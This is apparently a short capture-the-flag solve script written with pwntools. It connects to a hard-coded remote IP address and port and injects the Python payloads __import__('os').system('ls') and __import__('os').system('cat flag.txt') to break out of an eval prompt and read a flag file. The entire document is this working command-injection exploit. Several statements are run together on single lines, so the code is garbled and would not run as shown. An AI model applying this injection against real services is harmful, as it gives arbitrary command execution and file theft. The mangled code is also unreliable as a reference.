```#!/usr/bin/env python3# @author: codaholikid
from pwn import *
host = '138.68.147.93'port = 31831
r = remote(host, port)r.recvuntil('>>> \n')r.sendline('__import__("os").system("ls")')print(r.recv().decode().strip())r.sendline('__import__("os").system("cat flag.txt")')print(r.recv().decode().strip())